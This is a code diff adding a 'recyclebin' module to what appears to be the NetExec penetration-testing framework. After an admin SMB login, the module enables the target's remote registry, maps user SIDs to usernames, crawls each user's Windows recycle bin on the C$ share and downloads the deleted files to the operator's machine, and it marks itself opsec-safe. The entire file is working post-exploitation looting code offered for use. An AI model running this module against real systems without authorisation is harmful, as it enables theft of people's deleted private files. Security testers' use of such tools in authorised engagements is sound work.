|
| 1 | +from os import makedirs |
| 2 | +from nxc.paths import NXC_PATH |
| 3 | +from os.path import join, abspath |
| 4 | +from impacket.dcerpc.v5 import rrp |
| 5 | +from impacket.dcerpc.v5.rrp import DCERPCSessionError |
| 6 | +from impacket.examples.secretsdump import RemoteOperations |
| 7 | + |
| 8 | + |
| 9 | +class NXCModule: |
| 10 | + # Module by @Defte_ |
| 11 | + # Dumps files from recycle bins |
| 12 | + |
| 13 | + name = "recyclebin" |
| 14 | + description = "Lists and exports users' recycle bins" |
| 15 | + supported_protocols = ["smb"] |
| 16 | + opsec_safe = True |
| 17 | + multiple_hosts = True |
| 18 | + |
| 19 | + def options(self, context, module_options): |
| 20 | + """No options available""" |
| 21 | + |
| 22 | + def on_admin_login(self, context, connection): |
| 23 | + false_positive_users = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] |
| 24 | + found = 0 |
| 25 | + try: |
| 26 | + remote_ops = RemoteOperations(connection.conn, connection.kerberos) |
| 27 | + remote_ops.enableRegistry() |
| 28 | + |
| 29 | + for sid_directory in connection.conn.listPath("C$", "$Recycle.Bin\\*"): |
| 30 | + try: |
| 31 | + if sid_directory.get_longname() and sid_directory.get_longname() not in false_positive_users: |
| 32 | + |
| 33 | + # Extracts the username from the SID |
| 34 | + reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"] |
| 35 | + key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{sid_directory.get_longname()}")["phkResult"] |
| 36 | + username = None |
| 37 | + try: |
| 38 | + _, profileimagepath = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath\x00") |
| 39 | + # Get username and remove embedded null byte |
| 40 | + username = profileimagepath.split("\\")[-1].rstrip("\x00") |
| 41 | + except rrp.DCERPCSessionError as e: |
| 42 | + context.log.debug(f"Couldn't get username from SID {e} on host {connection.host}") |
| 43 | + |
| 44 | + # Lists for any file or directory in the recycle bin |
| 45 | + spider_folder = f"$Recycle.Bin\\{sid_directory.get_longname()}\\" |
| 46 | + paths = connection.spider( |
| 47 | + "C$", |
| 48 | + folder=spider_folder, |
| 49 | + regex=[r"(.*)"], |
| 50 | + silent=True |
| 51 | + ) |
| 52 | + |
| 53 | + false_positive = (".", "..", "desktop.ini") |
| 54 | + filtered_file_paths = [path for path in paths if not path.endswith(false_positive)] |
| 55 | + if filtered_file_paths: |
| 56 | + if username is not None: |
| 57 | + context.log.highlight(f"CONTENT FOUND {sid_directory.get_longname()} ({username})") |
| 58 | + else: |
| 59 | + context.log.highlight(f"CONTENT FOUND {sid_directory.get_longname()}") |
| 60 | + |
| 61 | + for path in filtered_file_paths: |
| 62 | + # Returned path look like: |
| 63 | + # $Recycle.Bin\S-1-5-21-4140170355-2927207985-2497279808-500\/$I87021Q.txt |
| 64 | + # Or |
| 65 | + # $Recycle.Bin\S-1-5-21-4140170355-2927207985-2497279808-500\/$R87021Q.txt |
| 66 | + # $I files are metadata while $R are actual files so we split the path from the SID |
| 67 | + # And check that the filename contains $R only to prevent downloading useless stuff |
| 68 | + |
| 69 | + if "$R" in path.split(sid_directory.get_longname())[1] and not path.endswith(false_positive): |
| 70 | + # Create the export path |
| 71 | + export_path = join(NXC_PATH, "modules", "recyclebin") |
| 72 | + makedirs(export_path, exist_ok=True) |
| 73 | + |
| 74 | + # Formatting the destination filename |
| 75 | + file_path = path.split("$")[-1].replace("/", "_") |
| 76 | + filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}" |
| 77 | + dest_path = abspath(join(export_path, filename)) |
| 78 | + try: |
| 79 | + with open(dest_path, "wb+") as file: |
| 80 | + connection.conn.getFile("C$", path, file.write) |
| 81 | + except Exception as e: |
| 82 | + if "STATUS_FILE_IS_A_DIRECTORY" in str(e): |
| 83 | + context.log.debug(f"Couldn't open {dest_path} because of {e}") |
| 84 | + else: |
| 85 | + context.log.fail(f"Failed to write recyclebin file to {filename}: {e}") |
| 86 | + else: |
| 87 | + context.log.highlight(f"\t{dest_path}") |
| 88 | + found += 1 |
| 89 | + except DCERPCSessionError as e: |
| 90 | + if "ERROR_FILE_NOT_FOUND" in str(e): |
| 91 | + continue |
| 92 | + else: |
| 93 | + context.log.fail(f"Error opening {sid_directory.get_longname()} on host {connection.host} because of {e}") |
| 94 | + continue |
| 95 | + if found > 0: |
| 96 | + context.log.highlight(f"Recycle bin's content downloaded to {export_path}") |
| 97 | + except DCERPCSessionError as e: |
| 98 | + context.log.exception(e) |
| 99 | + context.log.fail(f"Error connecting to RemoteRegistry {e} on host {connection.host}") |
| 100 | + finally: |
| 101 | + remote_ops.finish() |
0 commit comments